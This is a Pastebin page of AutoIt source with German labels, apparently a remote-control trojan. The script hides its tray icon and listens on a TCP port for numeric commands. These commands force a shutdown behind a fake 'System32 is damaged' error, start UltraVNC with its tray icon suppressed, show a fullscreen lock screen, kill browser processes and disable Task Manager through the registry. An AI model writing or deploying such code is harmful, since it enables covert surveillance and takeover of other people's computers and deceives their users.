Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #Region ;**** Directives created by AutoIt3Wrapper_GUI ****
- #EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
- #include <StaticConstants.au3>
- #include <WindowsConstants.au3>
- #include <EditConstants.au3>
- #include <GUIConstantsEx.au3>
- ;#include <SysTray_UDF.au3>
- ;#RequireAdmin
- AutoItSetOption("TrayIconHide", 1)
- Global $ClientIP = "100.200.100.208"
- ;Global $ClientIP = "127.0.0.1"
- Global $ClientPort = 4322
- TCPStartup()
- $MainSocket = TCPListen($ClientIP,$ClientPort)
- Global $InetSperren = 0
- Global $PCSperren = 0
- Global $VNC = 0
- Global $InetProcess[2] = ["IEXPLORE.EXE","firefox.exe"]
- While 1 * Sleep(100)
- _InetSperren()
- _PCSperren()
- _VNC()
- $NewSocket = TCPAccept($MainSocket)
- If $NewSocket >= 0 Then
- Do
- $Recv = TCPRecv($NewSocket,2048)
- $Recv2 = $Recv
- Sleep(100)
- Until $Recv <> ""
- If StringInStr($Recv,"AppID") = True Then
- $Recv = StringReplace($Recv,"AppID:","")
- If $Recv = 11 Then
- _ShutdownB()
- $Recv = ""
- TCPCloseSocket($NewSocket)
- ElseIf $Recv = 21 Then
- $VNC = 1
- $Recv = ""
- TCPCloseSocket($NewSocket)
- ElseIf $Recv = 31 Then
- $PCSperren = 1
- $Recv = ""
- TCPCloseSocket($NewSocket)
- ElseIf $Recv = 41 Then
- $InetSperren = 1
- $Recv = ""
- TCPCloseSocket($NewSocket)
- ElseIf $Recv = 20 Then
- $VNC = 0
- $Recv = ""
- TCPCloseSocket($NewSocket)
- ElseIf $Recv = 30 Then
- $PCSperren = 0
- $Recv = ""
- TCPCloseSocket($NewSocket)
- ElseIf $Recv = 40 Then
- $InetSperren = 0
- $Recv = ""
- TCPCloseSocket($NewSocket)
- EndIf
- EndIf
- EndIf
- WEnd
- Func _ShutdownB()
- Shutdown(6,"Fehler: System32 ist beschädigt")
- EndFunc
- Func _VNC()
- If $VNC = 1 Then
- If iniRead("C:\Programme\UltraVNC\ultravnc.ini","admin","DisableTrayIcon","-1") = 0 Then
- iniWrite("C:\Programme\UltraVNC\ultravnc.ini","admin","DisableTrayIcon","1")
- EndIf
- Run("C:\Programme\UltraVNC\winvnc.exe")
- $VNC = 0
- EndIf
- EndFunc
- Func _PCSperren()
- If $PCSperren = 1 Then
- $Form1 = GUICreate("ACHTUNG!", @DesktopWidth, @DesktopHeight, 0, 0, $WS_POPUP)
- GUISetCursor(3)
- GUISetBkColor(0x000000)
- $Label1 = GUICtrlCreateLabel("Computer gesperrt!", (@DesktopWidth / 2) - 210, @DesktopHeight / 2, 420, 100)
- GUICtrlSetFont(-1, 36, 400, 0, "Arial")
- GUICtrlSetColor(-1, 0xFFFFFF)
- $Label2 = GUICtrlCreateLabel("", 0, @DesktopHeight-100, 420, 100)
- GUICtrlSetFont(-1, 36, 400, 0, "Arial")
- GUICtrlSetColor(-1, 0xFFFFFF)
- $Input1 = GUICtrlCreateInput("Passwort", 0, @DesktopHeight-40, 81, 21)
- $Button1 = GUICtrlCreateButton("Entsperren", 0, @DesktopHeight-20, 81, 17, $WS_GROUP)
- WinSetOnTop($Form1, "", 1)
- GUISetState(@SW_SHOW)
- MouseMove(0,0)
- $PCSperren = 5
- ;$Password = Random(111,999,1)
- ;$Ergebnis = 0
- ;MsgBox(262144,"",$Password)
- ;Do
- ; MouseMove(0,0)
- ; $nMsg = GUIGetMsg()
- ; _DisEnableTaskManager(1)
- ; Switch $nMsg
- ; Case $Button1
- ; If GUICtrlRead($Input1) = $Password Then
- ; $Ergebnis = $Password
- ; EndIf
- ;EndSwitch
- ;Until $Password = $Ergebnis
- ElseIf $PCSperren = 0 Then
- GUISetState(@SW_HIDE)
- _DisEnableTaskManager(0)
- EndIf
- EndFunc
- Func _InetSperren()
- ;_DisEnableTaskManager(1)
- If $InetSperren = 1 Then
- If ProcessExists($InetProcess[0]) Then
- ProcessClose($InetProcess[0])
- EndIf
- If ProcessExists($InetProcess[1]) Then
- ProcessClose($InetProcess[1])
- EndIf
- Sleep(200)
- EndIf
- ;_DisEnableTaskManager(0)
- EndFunc
- Func _DisEnableTaskManager($DISABLE=1)
- If $DISABLE <> 0 Then $DISABLE = 1
- Local $key = "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System"
- Local $val = "DisableTaskMgr"
- RegWrite($key, $val, "REG_DWORD", $DISABLE)
- If @error Then
- Return SetError(@error, 0, 0)
- Else
- Return 1
- EndIf
- EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement